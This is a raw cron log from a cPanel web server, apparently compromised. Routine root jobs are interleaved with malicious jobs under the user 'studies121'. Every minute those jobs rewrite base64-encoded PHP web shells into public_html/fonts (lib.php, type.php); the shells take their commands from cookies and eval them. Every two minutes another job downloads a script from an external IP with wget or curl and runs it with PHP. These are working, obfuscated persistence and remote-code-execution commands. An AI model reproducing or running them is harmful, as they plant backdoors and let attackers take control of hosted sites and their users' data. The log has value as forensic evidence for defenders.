Sep  5 11:35:02 ip-184-168-122-23 CROND[5349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:35:02 ip-184-168-122-23 CROND[5351]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 11:35:02 ip-184-168-122-23 CROND[5352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:35:02 ip-184-168-122-23 CROND[5353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 11:35:02 ip-184-168-122-23 CROND[5355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:35:02 ip-184-168-122-23 CROND[5362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:36:02 ip-184-168-122-23 CROND[5504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:36:02 ip-184-168-122-23 CROND[5507]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:36:02 ip-184-168-122-23 CROND[5508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:36:02 ip-184-168-122-23 CROND[5510]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:36:02 ip-184-168-122-23 CROND[5512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:37:01 ip-184-168-122-23 CROND[5669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:37:01 ip-184-168-122-23 CROND[5671]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:37:01 ip-184-168-122-23 CROND[5670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:37:01 ip-184-168-122-23 CROND[5672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:38:01 ip-184-168-122-23 CROND[5807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:38:01 ip-184-168-122-23 CROND[5806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:38:01 ip-184-168-122-23 CROND[5808]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:38:01 ip-184-168-122-23 CROND[5812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:38:01 ip-184-168-122-23 CROND[5809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:39:02 ip-184-168-122-23 CROND[5975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:39:02 ip-184-168-122-23 CROND[5978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:39:02 ip-184-168-122-23 CROND[5979]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 11:39:02 ip-184-168-122-23 CROND[5981]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:39:02 ip-184-168-122-23 CROND[5982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:40:01 ip-184-168-122-23 CROND[6143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:40:01 ip-184-168-122-23 CROND[6142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:40:01 ip-184-168-122-23 CROND[6144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:40:02 ip-184-168-122-23 CROND[6140]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 11:40:02 ip-184-168-122-23 CROND[6141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:40:02 ip-184-168-122-23 CROND[6146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:40:02 ip-184-168-122-23 CROND[6139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:40:02 ip-184-168-122-23 CROND[6147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:41:01 ip-184-168-122-23 CROND[6318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:41:01 ip-184-168-122-23 CROND[6319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:41:01 ip-184-168-122-23 CROND[6321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:41:01 ip-184-168-122-23 CROND[6317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:42:01 ip-184-168-122-23 CROND[6486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:42:01 ip-184-168-122-23 CROND[6487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:42:01 ip-184-168-122-23 CROND[6491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:42:01 ip-184-168-122-23 CROND[6493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:42:01 ip-184-168-122-23 CROND[6492]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:43:01 ip-184-168-122-23 CROND[6750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:43:01 ip-184-168-122-23 CROND[6751]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:43:01 ip-184-168-122-23 CROND[6754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:43:01 ip-184-168-122-23 CROND[6753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:44:01 ip-184-168-122-23 CROND[6918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:44:01 ip-184-168-122-23 CROND[6923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:44:01 ip-184-168-122-23 CROND[6925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:44:01 ip-184-168-122-23 CROND[6924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:44:01 ip-184-168-122-23 CROND[6922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:45:01 ip-184-168-122-23 CROND[7089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 11:45:01 ip-184-168-122-23 CROND[7090]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 11:45:01 ip-184-168-122-23 CROND[7091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:45:01 ip-184-168-122-23 CROND[7093]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:45:01 ip-184-168-122-23 CROND[7095]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:45:01 ip-184-168-122-23 CROND[7097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:46:01 ip-184-168-122-23 CROND[7241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 11:46:01 ip-184-168-122-23 CROND[7244]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 11:46:01 ip-184-168-122-23 CROND[7243]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 11:46:01 ip-184-168-122-23 CROND[7247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:46:01 ip-184-168-122-23 CROND[7246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 11:46:01 ip-184-168-122-23 CROND[7245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 11:46:01 ip-184-168-122-23 CROND[7248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 11:47:01 ip-184-168-122-23 CROND[7392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 11:47:01 ip-184-168-122-23 CROND[7391]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
